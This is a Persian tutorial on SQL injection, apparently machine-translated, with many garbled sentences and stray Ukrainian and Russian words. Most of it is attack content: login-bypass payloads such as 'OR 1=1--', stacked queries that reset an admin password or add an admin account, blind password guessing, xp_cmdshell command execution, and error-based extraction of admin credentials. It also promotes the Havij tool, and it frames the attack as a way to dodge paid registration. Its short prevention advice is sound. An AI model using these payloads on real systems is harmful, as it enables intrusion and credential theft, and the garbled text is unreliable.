بعد از اینکه نام تمام ستون ها را از جدول حذف کردیم، می توانیم به روز رسانی (UPDATE) یا درج (INSERT) یک رکورد جدید در جدول. به عنوان مثال، ما می توانیم رمز عبور "neo" را تغییر دهیم:

http://duck/index.asp?id=10; به روز رسانی "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

برای درج یک ورودی جدید به پایگاه داده:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id"، "login_name"، "password"، "details") VALUES (666"neo2"،"newpas5"،"NA")--

اکنون می توانیم به عنوان “neo” با رمز “newpas5” وارد سیستم شویم.

8.0 چگونه از تزریق SQL اجتناب کنیم؟

فیلتر کاراکترهای خاص در تمام ردیف ها:

آیا ادای احترامی وجود دارد که توسط koristuvach معرفی شود
- پارامترهای URL
- کوکی

برای مقادیر عددی، قبل از ارسال їх به SQL، їх را به عدد صحیح تبدیل کنید. یا vikorist ISNUMERIC برای آواز خواندن تعداد کامل.

سرور SQL را به عنوان یک کاربر غیرمجاز اجرا کنید.

رویه‌های ذخیره‌شده را ببینید که در موارد زیر استفاده نمی‌شوند: master..Xp_cmdshell، xp_startmail، xp_sendmail، sp_makewebtask

Havij برنامه ای است که برای بررسی وجود نشت در وب سایت ها طراحی شده است. اغلب، آنها نه تنها به دلایل اصلی، بلکه برای ترویج تزریق SQL استفاده می شوند. این ابزار خود اغلب برای انتقال یک PZ "هکر" استفاده می شود.

اصل ربات

با برنامه های اضافی، می توان با تغییر ویروس SQL با یک مسیر الحاق، حملاتی را به وب سرویس انجام داد. در صورت موفقیت آمیز بودن، این گزینه به شما امکان می دهد منطق منبع تغذیه دستگاه را برای مصرف برق تغییر دهید. اغلب، در حین حمله، یک انگشت نگاری ساده از پایگاه داده ایجاد می شود، پس از آن داده های لازم از آن وارد می شود، به عنوان مثال، یک پایگاه داده مشتری یا یک رکورد حساب اداری. در صورت وجود هرگونه مغایرت، شخص نامهربان ممکن است با بخش Back-end برنامه های وب تعامل داشته باشد. Zocrema مانند Vikoristan به شما امکان می دهد دستورات مورد نیاز را در سرور وارد کنید یا فایل های لازم را در سمت میزبان مشاهده کنید.

امکان پذیری

Havij به شما این امکان را می دهد که هش رمز عبور و حذف جدول را ذخیره کنید. این برنامه به شما امکان می دهد انواع مختلف تزریق را انتخاب کنید: تزریق SQL مبتنی بر خطا، تزریق SQL پرس و جو UNION، تزریق SQL پرس و جوهای انباشته، تزریق SQL کور مبتنی بر زمان، و همچنین تزریق SQL کور مبتنی بر بولین. این ابزار بر روی HTTPS کار می کند و از انواع مختلف DBMS پشتیبانی می کند: MSAccess، MySQL، Oracle، PostgreSQ و Sybase. Havij می تواند تعدادی استریم را از طریق یک پروکسی برای نیازهای شما خریداری کند.

سینتکس کدی که در حال آزمایش است را می توان با دست ویرایش کرد. همچنین، قبل از شروع حمله، می‌توانید فهرستی از کلمات کلیدی، جداول یا انواع داده‌های جستجو شده (به عنوان مثال، اعداد کامل و کسری) را انتخاب کنید.

فرآیند ربات Havij گزارشی از عملیات تکمیل شده را نگه می دارد که پس از اتمام حمله توسط پدر برنامه ذخیره می شود. رابط برنامه بصری است و تمام عناصر کنترل اصلی در یک پنجره قرار دارند.

ویژگی های کلیدی

  • تعریف دستورات SQL با استفاده از نحو مورد نیاز.
  • پشتیبانی از گزینه های مختلف برای رکود؛
  • جستجو برای وب سایت ها و افزونه های مختلف؛
  • توانایی کار با انواع مختلف DBMS؛
  • پشتیبانی از پروتکل های HTTPS و پروکسی

تزریق SQL dosit فرصت خوبی برای حذف یک هکر است
دسترسی به سرور با مقدار کمی شراب
به هر حال میبرمش 🙂

کدگذار داخل

در حال حاضر روی پایگاه داده ها کار می کنیم
تقریبا تمام زبان های برنامه نویسی از جمله بیسیک، سی پلاس پلاس، جاوا، PERL، پی اچ پی، اسمبلر و جاوا اسکریپت! و این برنامه ها چیزی بیش از DBMS - سیستم های مدیریت پایگاه داده نامیده نمی شوند. اغلب، پایگاه داده بر اساس بخش های مالی برتر است،
حسابداری، مدیریت منابع انسانی، و رکود آنها همه در اینترنت یافت شده است.

پایگاه داده اغلب برای نوشتن مکمل های وب استفاده می شود. آنها برای ذخیره داده های ثبت نام، شناسه های جلسه، جستجو و سایر کارهایی که نیاز به پردازش بیشتری دارند مناسب هستند.
داده های زیادی برای ارتقاء به پایگاه داده، از فناوری های سرور استفاده می شود: PHP، PERL، ASP و غیره. اینجاست که اوضاع شروع به بهتر شدن می کند. وقتی روی سرور است
همه وصله ها نصب می شوند و فایروال همه پورت ها را به جز 80 مسدود می کند، یا اگر برای دسترسی به داده ها نیاز به احراز هویت باشد، یک هکر شرور می تواند از SQL Injection سوء استفاده کند. ماهیت این حمله در حمله vikoristan به فناوری stick WEB و SQL نهفته است. در سمت راست، از آنجایی که تعداد زیادی وب سایت برای پردازش داده ها وجود دارد، یک فرم خاص ایجاد می شود SQLدر پایگاه داده نوشته می شود، اگر از این روش ها با دقت استفاده کنید، می توانید به بیشترین نتیجه ممکن دست پیدا کنید.

تزریق SQL

برای توضیح حمله، واضح است که شما برای جذب یک ابزار بسیار مهم به سایت آمدید و متأسفانه اشاره کردید که فقط می توانید برای مشتریان ثبت نام کنید و البته ثبت نام هزینه های زیادی دارد 🙂 نمی خواهم بدهم. درآمد باقی مانده را حذف کنید، اما بدون برنامه هیچ راهی وجود ندارد! خود ساعت را به او بگو
جستجو در پایگاه های داده SQL. به عنوان مثال، بررسی ورود و رمز عبور در PHP می تواند به شکل زیر باشد:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
اگر ($num_rows!=0)
{
// احراز هویت درست است
}
دیگر
{
// خطا احراز هویت
}

من دو نظر اضافه کردم، "Authentication OK" - من مقصر این هستم
کدی را که در آن کادر ظاهر می شود، وارد کنید، زیرا رمز عبور و ورود به سیستم بازگردانده می شود. یکی دیگر از "خطای احراز هویت" مکانی است که در آن توضیحاتی از کد وجود دارد که در صورت نادرست بودن آنها مشخص می شود. اگر فرم را پر کردید، فرمی مشابه "http://www.server.com?login=user&password=31337" وارد کنید، جایی که www.server.com نام آن است.
سروری که از ما خواسته می شود به آن متصل شویم. ما کسانی را که شوخی می‌کردند می‌شناختیم، و سپس به سراغ روبات‌ها می‌روم SQL. همچنین، اگر نیاز به وارد کردن لاگین و رمز عبور برای مجوز دارید، پس SQLماتیما این نگاه را پرسید:

SELECT * از کاربران WHERE login="user" AND
رمز عبور = "31337"

این به معنای چیزی شبیه به این است: همه رکوردها را از پایگاه داده کاربران، که ورود به سیستم آنها "user" و رمز عبور "31337" است، بازگردانید. اگر چنین سابقه ای وجود دارد، پس منشی ثبت نام، اما اگر نه، پس نه... اما در شرایطی همه چیز قابل اصلاح است. اگر برنامه انتقال داده ها را بررسی نکند یا آن را به طور کامل برای شواهد بررسی نکند، وضعیت جدی است SQLدستورالعمل ها. این برنامه دارای دو فیلد ورود و رمز عبور است، اما در قسمت رمز عبور عبارت "31337" و ایمیل=" را وارد کنید. [ایمیل محافظت شده]"(بدون پاها)، سپس کمی متفاوت خواهد بود:

SELECT * FROM users WHERE login="user" AND password="31337" AND
ایمیل = " [ایمیل محافظت شده]"

و پس از ایجاد فیلد ایمیل، این ذهن نیز تایید خواهد شد. اگر اصول جبر بولی را درک کنید، به ذهن می رسد که علاوه بر عملیات "و" "or" نیز وجود دارد، و بقیه آنها توسط SQL پشتیبانی می شوند، ممکن است بیشتر
ما راهی را برای افزودن به ذهن توصیف خواهیم کرد که همیشه حقیقت را تغییر می دهد. برای انجام این کار، باید "user" یا 1=1-- را در لاگین خود وارد کنید، بنابراین خواهید دید:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
رمز عبور = "31337"

اول از همه باید بدانید که "--" به معنای پایان مدخل است و همه چیز بعد از "--" است.
من تسلیم نمی شوم! بیا چرا از ما پرسیدند:

SELECT * FROM users WHERE login="user" OR 1=1

همانطور که می‌دانید، ما "1=1" را به ذهن اضافه کردیم، به این معنی که معیار تأیید این خواهد بود که "یا ورود به سیستم "کاربر" است یا 1=1"، و 1 همیشه برابر با 1 خواهد بود (شمول‌ها ممکن است بر اساس باشند. روی حساب دنی شپوالوف :)). برای بررسی ظن ما
"http://www.server.com?login=user or 1=1--&password=31337" را در نوار آدرس وارد کنید. یعنی لاگینی که وارد کردیم نقشی ندارد اما
رمز عبور اینجاست! و در مادر... آه، در سیستم می توانیم با آرامش آنهایی را که نیاز داریم دانلود کنیم.

اما همه چیز تئوری است. در واقع، ما نمی دانیم که درخواست چگونه شکل می گیرد و چه داده هایی با چه ترتیبی منتقل می شوند. بنابراین، باید برای همه فیلدها "user" OR 1=1--" را مشخص کنید. همچنین فرم ارسال را بررسی کنید تا ببینید آیا فیلدهایی که وارد کرده اید وجود دارد یا خیر. در HTML، فیلدها به صورت " توصیف می شوند. اگر چنین است، صفحه خود را ذخیره کنید و مقادیر این فیلدها را تغییر دهید. مقادیر موجود در آنها اغلب فراموش می شوند تا توسط دستورات SQL تأیید شوند. این سوال یعنی چی؟

Ale فراموش نکنید به همان روشی که سازندها شسته می شوند،
این مثال را می توان به روش های زیر فرموله کرد:

SELECT * FROM users WHERE (ورود = "کاربر" و رمز عبور = "31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * از کاربران WHERE login=کاربر و رمز عبور=31337

در این شرایط می توانید گزینه های زیر را امتحان کنید:

"OR 1=1--
"OR 1=1--
یا 1=1--
"یا "a"="a
"یا "a"="a
") یا ("a"="a
یا "1"="1"

همه چیز به معنای اسکریپت و برنامه نویس بستگی دارد. بقایای هر فرد این قدرت را دارد که برای خود کار کند، کاملاً ممکن است برنامه ای که انتخاب می کنید ساده ترین گزینه نباشد. اثری از آن نیست
اگر همسرتان را می گیرید دست بردارید. ضروری است
گزینه های بیشتری را امتحان کنید...

تشخیص رمز عبور

دور زدن مجوز بد است، اما اغلب حسابی که استفاده می‌کنید بسته می‌شود و هر چیزی که در دسترس شما بود هدر می‌رود.
ردی که قرار بود کشف شود، زیرا برنامه نویس احمقی نیست
تمام سوراخ ها را می پوشاند. با افزودن اطلاعات بیشتر در این مورد، می توان به راحتی از قبل با چنین موقعیت هایی مقابله کرد. برای تصمیم گیرندگان درست، حدس زدن رمز عبور می تواند کمک کننده باشد.
تجزیه و تحلیل نتایج احراز هویت ابتدا سعی می کنیم رمز عبوری که مکان برای آن وارد شده را حدس بزنیم:

"OR password>"a

اگر به ما تأیید می‌کنید که مجوز تصویب شده است، پس رمز عبور
با حرف "a" شروع نمی شود، بلکه با yakus iz که لیست را دنبال می کند. Ruhaemosya دور و در حال حاضر
جای «الف»، «ب»، «ج»، «د»، «ه»... و غیره. تا زمانی که مدرکی مبنی بر درست نبودن رمز عبور به ما داده شود. بگذارید کل فرآیند با نماد "x" شروع شود، این وضعیت دو گزینه برای توسعه وضعیت ایجاد می کند: رمز عبور پیدا می شود یا رمز عبور با این نماد شروع می شود. برای بررسی گزینه اول، در محل رمز عبور بنویسید:

"OR password="x

و اگر پسورد پذیرفته شد و به شما اجازه ورود داده شد یعنی رمز را حدس زدید! خوب، سپس نماد دیگری را انتخاب کنید،
درست مثل آن، از بلال. برای دو کاراکتر، بررسی کنید
فقط باید همینطور باشد متاسفم، شما رمز عبور خود را رها می کنید، و فقط سعی می کنید ورود خود را پیدا کنید 🙂
هنگامی که رمز عبور و ورود خود را پیدا کردید، نمی توانید آن را کنترل کنید، می توانید چیز دیگری پیدا کنید. برای انجام این کار، باید تأییدیه ای را با کاراکتر باقی مانده رمز عبور پیدا شده چاپ کنید. بنابراین، اگر رمز عبور "xxx" است، لازم است رمز عبور اصلی را بررسی کنید
"xxxy":

"OR password="xxx

تا بیش از یک گزینه را نفروشیم!

MS SQL Server

MS SQL Server شکست خورده است زیرا از فیلترهای لازم استفاده شده است. Vikorist و SQL Injection را می توان غیرفعال کرد
دستورات روی سرور راه دور برای کمک به exec master..xp_cmdshell. Ale به vikoristuvat این طرح
لازم است عملیات "SELECT" را کامل کنید. در SQL دستورالعمل ها با نقطه از هم جدا می شوند. برای اتصال به یک IP داده شده از طریق Telnet، باید رمز عبور/ورود زیر را وارد کنید:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server دارای تعدادی ویژگی دیگر است که به شما امکان می دهد لاگین ها و رمزهای عبور ذخیره شده در پایگاه داده را تشخیص دهید. برای این منظور، اعلان‌های مربوط به مزایا به یک سرور جداگانه و برای کمک بیشتر هدایت می‌شوند.
تجزیه و تحلیل می تواند نام جدول، فیلدها و انواع آنها را شناسایی کند. بعد از چی بپرسم؟

"UNION SELECT TOP 1 ورود به سیستم از کاربران--

(نام فیلدهای ورود به سیستم ورود هستند و کاربران نام جدول هستند،
در طول تجزیه و تحلیل برش ها حذف می شود).

پاسخ می تواند چیزی شبیه به این باشد:


خطای نحوی مقدار nvarchar "admin" to a column of data type int. !} !}
/default.asp، خط 27

اکنون می دانیم که نام مشتری "admin" است. اکنون می توانیم رمز عبور شما را بازیابی کنیم:

UNION SELECT TOP 1 گذرواژه از کاربرانی که در آن login="admin"--

نتیجه:

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی مقدار nvarchar "xxx" to a column of data type int. !} !}
/tedault.asp، خط 27

اکنون می دانیم که حساب کاربری "admin" با رمز عبور "xxx" است. شما می توانید آن را مودبانه بگویید
عجله کنید و وارد سیستم شوید 😉

همچنین بسیاری از توابع دیگر برای کار با SQL وجود دارد،
هنگام کار با پایگاه داده، می توانید داده ها را حذف کنید، آنها را تغییر دهید، داده های خود را وارد کنید، و حتی فایل ها را دستکاری کنید و با رجیستری کار کنید.
Zagalom، SQL Server - متاسفم 🙂

زاخیست

Aletskogo می تواند در طبیعت منحصر به فرد باشد. برای کی میتونم
افزایش سرعت فیلترها،
نادانیمی ویروبنیکی. شما می توانید تصمیمات خود را بدانید، به عنوان مثال، جایگزین همه مجرد
پاهای جمع شده (برای SQLمن از شما می خواهم که مجردها را بخواهید) یا فقط همینطور. در صورت نیاز می توانید فقط حروف زیر و s@baki را مجاز کنید
آدرس ایمیل. و در مروارید شگفتی وجود دارد
تابع 🙂 quote() در ماژول DBI::DBD، که پرس و جوی شما را با موفقیت به‌روز اجرا می‌کند. SQL. راه حل های زیادی وجود دارد، فقط به آنها نیاز دارید
عادت کن وگرنه همه چیز همینه...